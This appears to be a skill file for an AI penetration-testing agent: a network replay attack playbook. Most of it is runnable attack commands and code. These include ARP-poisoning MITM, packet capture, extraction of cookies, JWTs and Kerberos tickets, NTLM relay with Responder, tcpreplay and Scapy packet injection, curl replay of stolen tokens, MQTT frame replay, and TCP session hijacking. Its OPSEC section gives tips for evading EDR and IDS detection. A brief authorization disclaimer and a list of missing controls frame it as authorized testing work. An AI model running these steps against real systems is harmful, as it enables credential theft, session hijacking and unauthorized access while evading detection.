| name | network-replay |
| description | PCAP-based network replay attacks: capture auth sequences, session tokens, and protocol frames, then replay or inject to achieve unauthorized access or session hijack. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"post-exploit","when_to_use":"replay attack, pcap replay, session hijack, token replay, tcpreplay, scapy replay, kerberos ticket replay, jwt replay, oauth replay, NTLM relay capture replay, credential replay, MQTT frame replay, sequence number prediction","tags":"replay, pcap, session-hijack, scapy, tcpreplay, kerberos, jwt, oauth, ntlm, mqtt, network","mitre_attack":"T1557, T1557.001, T1563, T1550, T1550.002, T1040"} |
Network Replay Attack Playbook
Authorized use only. Replay attacks require network capture of live traffic
which may incidentally capture credentials or PII from non-target systems.
RoE must explicitly authorize packet capture on the target subnet and name
which protocols and systems are in scope.
Overview
A replay attack reuses previously captured, valid network messages to
re-authenticate or re-authorize without knowing the underlying secret.
CAI's dedicated replay-attack agent covers this as a distinct offensive
primitive. Decepticon routes it here from any engagement where valid
traffic has been captured and the auth token / session state is reusable.
Tool inventory
which tcpreplay tcpprep tcprewrite tshark scapy 2>/dev/null
pip show scapy pwntools 2>/dev/null | grep -E 'Name|Version'
Phase 1 — Traffic Capture
Passive capture on a local segment
sudo tcpdump -i <iface> -w /tmp/capture.pcap host <target_ip>
sudo tcpdump -i <iface> -w /tmp/auth.pcap \
'host <target> and (port 80 or port 443 or port 88 or port 389 or port 1883)'
sudo tcpdump -i <span_iface> -w /tmp/span.pcap -s 0
Capture via MITM (ARP poisoning prerequisite)
sudo arpspoof -i <iface> -t <victim_ip> <gateway_ip> &
sudo arpspoof -i <iface> -t <gateway_ip> <victim_ip> &
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo tcpdump -i <iface> -w /tmp/mitm.pcap host <victim_ip>
Phase 2 — Extract Replayable Material
HTTP session tokens and cookies
tshark -r /tmp/capture.pcap \
-Y 'http.request.method == "POST" || http.cookie' \
-T fields -e frame.number -e ip.src -e http.cookie \
-e http.authorization -e http.file_data 2>/dev/null | head -50
tshark -r /tmp/capture.pcap -Y 'http.cookie' \
-T fields -e http.cookie 2>/dev/null | sort -u
JWT tokens
tshark -r /tmp/capture.pcap \
-Y 'http.authorization contains "Bearer"' \
-T fields -e http.authorization 2>/dev/null | \
grep -oP 'Bearer \K[A-Za-z0-9._-]+'
Decode and inspect without verification (note: this does NOT forge — just
inspects claims to understand expiry, role, subject):
import base64, json
token = "<paste_jwt>"
header, payload, sig = token.split('.')
print(json.loads(base64.b64decode(payload + '==').decode()))
Kerberos TGT / TGS ticket replay (Pass-the-Ticket)
tshark -r /tmp/capture.pcap -Y 'kerberos' \
-T fields -e kerberos.msg_type -e kerberos.CNameString \
-e kerberos.realm 2>/dev/null | head -30
export KRB5CCNAME=/tmp/stolen.ccache
python3 /opt/impacket/examples/psexec.py -k -no-pass <target>
NTLM Net-NTLMv2 capture for relay (not crack)
This is the relay path, not hash crack. See ad/ntlm-relay for full relay
playbook. Capture with Responder:
sudo responder -I <iface> -wdF
sudo ntlmrelayx.py -tf /tmp/relay_targets.txt -smb2support
Phase 3 — Replay Execution
Raw PCAP replay with tcpreplay
tshark -r /tmp/capture.pcap -w /tmp/auth_only.pcap \
-Y 'frame.number >= 150 && frame.number <= 180'
sudo tcpreplay --intf1=<iface> --topspeed /tmp/auth_only.pcap
tcprewrite --srcipmap=<orig_src>:<new_src> \
--dstipmap=<orig_dst>:<new_dst> \
--enet-dmac=<target_mac> \
--infile=/tmp/auth_only.pcap \
--outfile=/tmp/rewritten.pcap
sudo tcpreplay --intf1=<iface> /tmp/rewritten.pcap
Scapy session token injection
from scapy.all import rdpcap, IP, TCP, Raw, send
packets = rdpcap('/tmp/auth_only.pcap')
auth_pkt = packets[5]
auth_pkt[IP].dst = '<new_target_ip>'
auth_pkt[IP].src = '<attacker_ip>'
del auth_pkt[IP].chksum
del auth_pkt[TCP].chksum
send(auth_pkt, verbose=1)
HTTP cookie / Bearer token replay with curl
COOKIE="session=<extracted_value>"
JWT="<extracted_jwt>"
curl -sk -H "Cookie: $COOKIE" https://<target>/api/admin -v
curl -sk -H "Authorization: Bearer $JWT" https://<target>/api/v1/users -v
MQTT frame replay (IoT / OT context)
tshark -r /tmp/capture.pcap -Y 'mqtt.msgtype == 3' \
-T fields -e mqtt.topic -e mqtt.msg 2>/dev/null
mosquitto_pub -h <broker_ip> -p 1883 \
-t "<captured_topic>" -m "<captured_payload>"
Phase 4 — TCP Session Hijacking
Applicable when sequence numbers are predictable or you have a MITM position.
from scapy.all import *
packets = sniff(filter=f"tcp and host <victim> and host <server>",
count=20, iface="<iface>")
last = packets[-1]
src_ip = last[IP].src
dst_ip = last[IP].dst
sport = last[TCP].sport
dport = last[TCP].dport
seq = last[TCP].seq + len(last[Raw].load)
ack = last[TCP].ack
hijack = IP(src=src_ip, dst=dst_ip) / \
TCP(sport=sport, dport=dport, seq=seq, ack=ack, flags="PA") / \
Raw(load=b"GET /admin HTTP/1.1\r\nHost: server\r\n\r\n")
send(hijack, verbose=1)
ATT&CK Mapping
| Technique | ID | Notes |
|---|
| Adversary-in-the-Middle | T1557 | ARP poisoning to capture traffic |
| LLMNR/NBT-NS Poisoning | T1557.001 | Responder NTLMv2 capture |
| Remote Service Session Hijacking | T1563 | TCP session hijack |
| Use Alternate Auth Material | T1550 | Cookie/token replay |
| Pass the Hash / Ticket | T1550.002 | Kerberos PTT after ticket extraction |
| Network Sniffing | T1040 | Passive PCAP capture prerequisite |
Evidence collection
kg_add_node(
kind="finding",
label="Network replay attack — session token reused",
props={
"technique": "network-replay",
"captured_pcap": "/workspace/evidence/replay/<target>.pcap",
"replayed_token_type": "<cookie|jwt|kerberos|ntlm|mqtt>",
"result": "<access_gained|failed>",
"target": "<ip_or_hostname>",
"mitre": "T1557,T1550",
},
)
Anti-replay controls to document in findings
When the replay succeeds, the finding must note which control is missing:
- No nonce / CSRF token on authenticated requests.
- No token binding to client IP or TLS session.
- Long or infinite token lifetime.
- Missing
Secure/HttpOnly cookie flags (enabling JS exfil then replay).
- No Kerberos delegation restriction (
ms-DS-AllowedToDelegateTo open).
- MQTT broker accepting publish without authentication or TLS.
OPSEC
- ARP spoofing is loud: most EDR and network monitoring platforms alert on
gratuitous ARPs and duplicate MAC entries. Use passive SPAN capture where
available.
tcpreplay can trigger IDS signatures on duplicated TCP SYN sequences.
Replay at reduced rate (--mbps=1) or with sequence-number rewriting.
- Kerberos PTT leaves no NTLM event logs (4776) but does generate 4768/4769
with client IP = attacker; ensure the attacker IP is consistent with the
stolen identity's expected location.